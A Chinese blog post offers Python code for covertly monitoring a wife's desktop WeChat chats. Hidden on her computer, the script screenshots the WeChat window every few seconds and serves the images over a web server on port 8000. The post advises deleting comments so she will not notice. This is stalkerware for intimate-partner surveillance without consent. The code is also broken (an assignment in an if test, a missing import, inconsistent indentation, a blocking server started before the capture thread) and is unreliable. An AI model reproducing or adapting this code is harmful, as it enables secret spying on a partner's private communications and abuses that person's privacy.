python实现一个简单的远程监控,看看你老婆微信都在聊啥。

python实现一个简单的远程监控,看看你老婆微信都在聊啥。

1、pywin32模块检测活动窗口
2、PIL模块截图
3、http.server、socketserver开启一个临时web服务。
4、登录192.168.x.x:8000去查看你老婆微信截图。前面是你老婆的ip地址。
5、本篇所指微信为电脑版微信。

from PIL import ImageGrab
import win32gui
import threading
import http.server
import socketserver

def see_your_wife():
	d=0
    while 1:
        handle = win32gui.GetForegroundWindow()#活动窗口的句柄
        title = win32gui.GetWindowText(handle) #活动窗口的标题
        if  title='微信':#当你老婆在使用微信时(微信窗口获得焦点)时截图,不用微信的时候是没有动作的。
                d += 1
                rect = win32gui.GetWindowRect(handle) #获得微信窗口的坐标  
                img = ImageGrab.grab(rect)#截取上述坐标
                img.save(f'D:/{d}.jpg',quality=90)#保存截图
         time.sleep(4)#截图时间间隔
         
def duo_xian_cheng():#由于上面的死循环会阻塞,所以必须加一个线程。
		t = threading.Thread(target=see_your_wife)
        t.setDaemon(True)
        t.start()
        
def get_the_imgs():
#注意,这个函数的作用是把你老婆的电脑里的本py文件(本py文件是放在你老婆电脑里默默运行的)所在目录变成一个web服务器目录。
#所以本py文件写好后应该放在截图保存的目录。
	PORT = 8000
	Handler = http.server.SimpleHTTPRequestHandler
	print(Handler)
	with socketserver.TCPServer(("", PORT), Handler) as httpd:
	    print("serving at port", PORT)
	    httpd.serve_forever()
	    
if __name__ == '__main__':
	get_the_imgs()
   duo_xian_cheng()

当然,实践的时候最好把注释删掉。。。默认认为你老婆不懂python。^^
ps:写的比较快,如有错漏请自行debug。

  • 2
    点赞
  • 61
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值